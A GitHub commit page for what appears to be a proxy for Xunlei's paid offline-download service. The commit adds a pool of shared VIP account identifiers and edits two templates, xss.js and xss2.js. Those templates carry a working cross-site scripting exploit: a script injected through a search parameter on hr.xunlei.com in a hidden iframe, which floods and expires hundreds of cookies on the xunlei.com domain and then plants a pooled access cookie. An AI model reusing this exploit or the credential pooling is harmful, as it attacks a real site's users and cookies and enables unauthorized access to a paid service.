Permalink
Browse files

add vip pool

  • Loading branch information...
1 parent c1990ec commit d214e3c037e0b136c90743dd0188dd1b6622e24e Binux committed Mar 19, 2012
Showing with 115 additions and 37 deletions.
  1. +7 −0 handlers/base.py
  2. +15 −9 handlers/files.py
  3. +5 −0 handlers/manager.py
  4. +13 −10 libs/db_task_manager.py
  5. +51 −0 libs/vip_pool.py
  6. +2 −0 main.py
  7. +1 −0 static/cross-cookie.user.js
  8. +13 −10 templates/manager.html
  9. +4 −4 templates/xss.js
  10. +4 −4 templates/xss2.js
View
@@ -14,6 +14,13 @@ def task_manager(self):
def user_manager(self):
return self.application.user_manager
+ @property
+ def vip_pool(self):
+ return self.application.vip_pool
+
+ def get_vip(self):
+ return self.vip_pool.get_vip(self.get_cookie("xss", None)) or self.task_manager.get_vip()
+
def render_string(self, template_name, **kwargs):
kwargs["options"] = options
return super(BaseHandler, self).render_string(template_name, **kwargs)
View
@@ -17,11 +17,12 @@ def get(self):
if task is None:
raise HTTPError(404)
- files = self.task_manager.get_file_list(task_id)
+ vip_info = self.get_vip()
+ files = self.task_manager.get_file_list(task_id, vip_info)
if files is None:
raise HTTPError(500)
- cookie = options.cookie_str % self.task_manager.gdriveid
+ cookie = options.cookie_str % vip_info["gdriveid"]
self.render("lixian.html", task=task, files=files, cookie=cookie)
class IDMExportHandler(BaseHandler):
@@ -33,9 +34,10 @@ def get(self, task_id):
if files == []:
raise HTTPError(404)
+ gdriveid = self.get_vip()["gdriveid"]
self.set_header("Content-Type", "application/octet-stream")
for f in files:
- self.write(template % (f.lixian_url, self.task_manager.gdriveid))
+ self.write(template % (f.lixian_url, gdriveid))
class aria2cExportHandler(BaseHandler):
def get(self, task_id):
@@ -46,9 +48,10 @@ def get(self, task_id):
if files == []:
raise HTTPError(404)
+ gdriveid = self.get_vip()["gdriveid"]
self.set_header("Content-Type", "application/octet-stream")
for f in files:
- self.write(template % (f.lixian_url.replace("gdl", "{gdl,dl.f,dl.g,dl.h,dl.i,dl.twin}"), f.dirtitle, self.task_manager.gdriveid))
+ self.write(template % (f.lixian_url.replace("gdl", "{gdl,dl.f,dl.g,dl.h,dl.i,dl.twin}"), f.dirtitle, gdriveid))
class ShareHandler(BaseHandler):
def get(self, task_id):
@@ -58,16 +61,18 @@ def get(self, task_id):
if task is None:
raise HTTPError(404)
- files = self.task_manager.get_file_list(task_id)
+ vip_info = self.get_vip()
+ files = self.task_manager.get_file_list(task_id, vip_info)
if files is None:
raise HTTPError(500)
- cookie = options.cookie_str % self.task_manager.gdriveid
+ cookie = options.cookie_str % vip_info["gdriveid"]
self.render("share.html", task=task, files=files, cookie=cookie)
class XSSDoneHandler(BaseHandler):
def get(self):
- self.set_cookie("xss", self.task_manager.gdriveid)
+ gdriveid = self.get_argument("gdriveid")
+ self.set_cookie("xss", gdriveid)
class XSSJSHandler(BaseHandler):
def get(self):
@@ -77,8 +82,9 @@ def get(self):
else:
render_tpl = "xss2.js"
- cookie = options.cookie_str % self.task_manager.gdriveid
- self.render(render_tpl, cookie=cookie)
+ gdriveid = self.get_vip()["gdriveid"]
+ cookie = options.cookie_str % gdriveid
+ self.render(render_tpl, cookie=cookie, gdriveid=gdriveid)
handlers = [
(r"/get_lixian_url", GetLiXianURLHandler),
View
@@ -52,6 +52,11 @@ def set_uid(self):
self.task_manager.gdriveid,
self.task_manager.last_task_id)
+ def set_vip_pool(self):
+ pool_lines = self.get_argument("pool", "")
+ self.vip_pool.pool = {}
+ self.vip_pool.parser_mline(pool_lines)
+
def set_tid(self):
tid = int(self.get_argument("tid"))
self.task_manager.last_task_id = tid
View
@@ -54,8 +54,6 @@ def __init__(self, username, password):
self.islogin = self._xunlei.login(self.username, self.password)
self._last_check_login = time()
- self._uid = None
- self._gdriveid = None
self.last_task_id = 0
@property
@@ -69,16 +67,18 @@ def xunlei(self):
@property
def gdriveid(self):
- if self._gdriveid:
- return self._gdriveid
return self._xunlei.gdriveid
@property
def uid(self):
- if self._uid:
- return self._uid
return self._xunlei.uid
+ def get_vip(self):
+ return {"uid": self.uid,
+ "gdriveid": self.gdriveid,
+ "tid": self.last_task_id
+ }
+
@sqlalchemy_rollback
def _update_tasks(self, tasks):
session = Session()
@@ -260,17 +260,20 @@ def get_task_list(self, start_task_id=0, limit=30, q="", t="", a="", order=db.Ta
query = query.filter(db.Task.invalid == False)
query = query.order_by(dis(order), dis(db.Task.id)).limit(limit)
return query.all()
-
+
@sqlalchemy_rollback
- def get_file_list(self, task_id):
+ def get_file_list(self, task_id, vip_info=None):
task = self.get_task(task_id)
if not task: return []
+ if vip_info is None:
+ vip_info = self.get_vip()
+
#fix lixian url
- if not self.last_task_id:
+ if not vip_info["tid"]:
return []
for file in task.files:
- file.lixian_url = file._lixian_url % {"uid": self.uid, "tid": self.last_task_id}
+ file.lixian_url = file._lixian_url % vip_info
return task.files
@mem_cache(2*60*60)
View
@@ -0,0 +1,51 @@
+# -*- encoding: utf-8 -*-
+# author: binux<17175297.hk@gmail.com>
+
+import logging
+import random
+
+class VIPool:
+ def __init__(self):
+ self.pool = {}
+
+ def parser(self, line):
+ try:
+ uid, gdriveid, tid = line.split(":", 2)
+ return {"uid": int(uid),
+ "gdriveid": gdriveid,
+ "tid": int(tid)
+ }
+ except:
+ logging.error("unknow vip format: %s" % line)
+ return {}
+
+ def parser_line(self, line):
+ ret = self.parser(line)
+ if ret:
+ self.pool[ret["gdriveid"]] = ret
+
+ def parser_mline(self, lines):
+ for line in lines.split("\n"):
+ line = line.strip()
+ self.parser_line(line)
+
+ def get_vip(self, gdriveid=None):
+ if not self.pool:
+ return None
+
+ if not gdriveid:
+ gdriveid = random.choice(self.pool.keys())
+ elif ":" in gdriveid:
+ ret = self.parser(gdriveid)
+ if ret:
+ return ret
+ elif gdriveid not in self.pool:
+ gdriveid = random.choice(self.pool.keys())
+
+ return self.pool[gdriveid]
+
+ def serialize(self):
+ result = []
+ for each in self.pool.values():
+ result.append("%(uid)s:%(gdriveid)s:%(tid)s" % each)
+ return "\n".join(result)
View
@@ -57,6 +57,7 @@ def __init__(self):
from libs.util import ui_methods
from libs.db_task_manager import DBTaskManager
from libs.user_manager import UserManager
+ from libs.vip_pool import VIPool
settings = dict(
debug=options.debug,
template_path=os.path.join(os.path.dirname(__file__), "templates"),
@@ -74,6 +75,7 @@ def __init__(self):
username = options.username,
password = options.password
)
+ self.vip_pool = VIPool()
if not self.task_manager.islogin:
raise Exception, "xunlei login error"
self.task_manager.async_update()
@@ -1,3 +1,4 @@
+// TODO: OUT OF DATE
// ==UserScript==
// @name cross-cookie
// @namespace http://loli.lu/
View
@@ -19,14 +19,19 @@
<dd>{{ handler.task_manager.username }} - {{ handler.task_manager._xunlei.uid }} -
<a href="/manager/recheck_login">{{ "已登录" if handler.task_manager.islogin else "未登录" }}</a></dd>
- <dt>当前uid</dt>
- <dd>{{ handler.task_manager.uid }}</dt>
+ {% if not handler.vip_pool.pool %}
+ <dt>当前uid</dt>
+ <dd>{{ handler.task_manager.uid }}</dt>
- <dt>当前task_id</dt>
- <dd>{{ handler.task_manager.last_task_id }}</dt>
+ <dt>当前task_id</dt>
+ <dd>{{ handler.task_manager.last_task_id }}</dt>
- <dt>当前gdriveid</dt>
- <dd>{{ handler.task_manager.gdriveid }}</dt>
+ <dt>当前gdriveid</dt>
+ <dd>{{ handler.task_manager.gdriveid }}</dt>
+ {% else %}
+ <dt>VIPool<dt>
+ <dd>size: {{ len(handler.vip_pool.pool) }}</dd>
+ {% end %}
<dt>logging level</dt>
<dd><a href="/manager/switch_level">{{ handler.logging_level }}</a></dd>
@@ -55,10 +60,8 @@
</dd>
</li>
<li>
- <form action="/manager/set_uid" method="GET">设置uid,gdriveid,tid: <br />
- uid: <input name="uid" type="text" value="{{ handler.task_manager.uid }}" /> <br />
- gdriveid: <input name="gdriveid" type="text" value="{{ handler.task_manager.gdriveid }}" /> <br />
- tid: <input name="tid" type="text" value="{{ handler.task_manager.last_task_id }}" /> <br />
+ <form action="/manager/set_vip_pool" method="GET">设置VIPool: <br />
+ <textarea name="pool" style="width: 500px;">{{ handler.vip_pool.serialize() }}</textarea> <br />
<input type="submit" value="submit" />
</form>
</li>
View
@@ -1,15 +1,15 @@
var xss_retry = 20;
var stoped = false;
function xss() {
- if (document.cookie.indexOf("xss={{ handler.task_manager.gdriveid }}") != -1) {
+ if (document.cookie.indexOf("xss={{ gdriveid }}") != -1) {
$.fancybox.close();
return;
}
if (xss_retry <= 0 || stoped) {
- $.fancybox('<div style="width:300px;"><p style="color: red;">Cookie写入失败...</p><p>您可能无法使用浏览器下载功能</p><p><a href="javascript:location.reload();">刷新重试</a>,或向作者回报这个问题:<a href="http://gplus.to/binux">+足兆叉虫</a></p></div>', {padding: 20, onClosed: function () { document.cookie = "xss={{ handler.task_manager.gdriveid }};"; }});
+ $.fancybox('<div style="width:300px;"><p style="color: red;">Cookie写入失败...</p><p>您可能无法使用浏览器下载功能</p><p><a href="javascript:location.reload();">刷新重试</a>,或向作者回报这个问题:<a href="http://gplus.to/binux">+足兆叉虫</a></p></div>', {padding: 20, onClosed: function () { document.cookie = "xss={{ gdriveid }};"; }});
return;
}
- var script = 'document.cookie="{{ cookie }}";document.write("<iframe src=\\\"{{ request.protocol }}://{{ request.host }}/xss\\\" />");';
+ var script = 'document.cookie="{{ cookie }}";document.write("<iframe src=\\\"{{ request.protocol }}://{{ request.host }}/xss?gdriveid={{ gdriveid }}\\\" />");';
var code = [];
for (var i=0;i<script.length;i++) {
code.push(script.charCodeAt(i));
@@ -26,7 +26,7 @@ function xss() {
xss_retry -= 1;
}
jQuery(document).ready(function() {
- if (document.cookie.indexOf("xss={{ handler.task_manager.gdriveid }}") == -1) {
+ if (document.cookie.indexOf("xss={{ gdriveid }}") == -1) {
$.fancybox('<div style="width:300px">正在尝试写入cookie,请稍候...</div>', {padding: 20});
xss();
setTimeout(function() { stoped = true; xss(); }, 30000);
View
@@ -1,15 +1,15 @@
var xss_retry = 3;
var stoped = false;
function xss() {
- if (document.cookie.indexOf("xss={{ handler.task_manager.gdriveid }}") != -1) {
+ if (document.cookie.indexOf("xss={{ gdriveid }}") != -1) {
$.fancybox.close();
return;
}
if (xss_retry <= 0 || stoped) {
- $.fancybox('<div style="width:300px;"><p style="color: red;">Cookie写入失败...</p><p>您可能无法使用浏览器下载功能</p><p><a href="javascript:location.reload();">刷新重试</a>,或向作者回报这个问题:<a href="http://gplus.to/binux">+足兆叉虫</a></p></div>', {padding: 20, onClosed: function () { document.cookie = "xss={{ handler.task_manager.gdriveid }};"; }});
+ $.fancybox('<div style="width:300px;"><p style="color: red;">Cookie写入失败...</p><p>您可能无法使用浏览器下载功能</p><p><a href="javascript:location.reload();">刷新重试</a>,或向作者回报这个问题:<a href="http://gplus.to/binux">+足兆叉虫</a></p></div>', {padding: 20, onClosed: function () { document.cookie = "xss={{ gdriveid }};"; }});
return;
}
- var script = 'for(var i=0;i<500;i++){document.cookie="loli"+i.toString()+"=1;domain=.xunlei.com";}for(var i=0;i<500;i++){document.cookie="loli"+i.toString()+"=0;domain=.xunlei.com;expires=Wed, 28 Dec 2011 12:46:19 GMT";}document.cookie="{{ cookie }}".replace(".vip","");document.getElementsByTagName("iframe")[0].src="{{ request.protocol }}://{{ request.host }}/xss";';
+ var script = 'for(var i=0;i<500;i++){document.cookie="loli"+i.toString()+"=1;domain=.xunlei.com";}for(var i=0;i<500;i++){document.cookie="loli"+i.toString()+"=0;domain=.xunlei.com;expires=Wed, 28 Dec 2011 12:46:19 GMT";}document.cookie="{{ cookie }}".replace(".vip","");document.getElementsByTagName("iframe")[0].src="{{ request.protocol }}://{{ request.host }}/xss?gdriveid={{ gdriveid }}";';
var iframe = document.createElement("iframe");
iframe.setAttribute("style", "display: none;");
iframe.src = "http://hr.xunlei.com/searchlist.html?contentkey='%3Cscript%3E"+escape(script)+"%3C/script%3E";
@@ -30,7 +30,7 @@ function xss() {
xss_retry -= 1;
}
jQuery(document).ready(function() {
- if (document.cookie.indexOf("xss={{ handler.task_manager.gdriveid }}") == -1) {
+ if (document.cookie.indexOf("xss={{ gdriveid }}") == -1) {
$.fancybox('<div style="width:300px">正在尝试写入cookie,请稍候...</div>', {padding: 20});
xss();
setTimeout(function() { stoped = true; xss(); }, 30000);

0 comments on commit d214e3c

Please sign in to comment.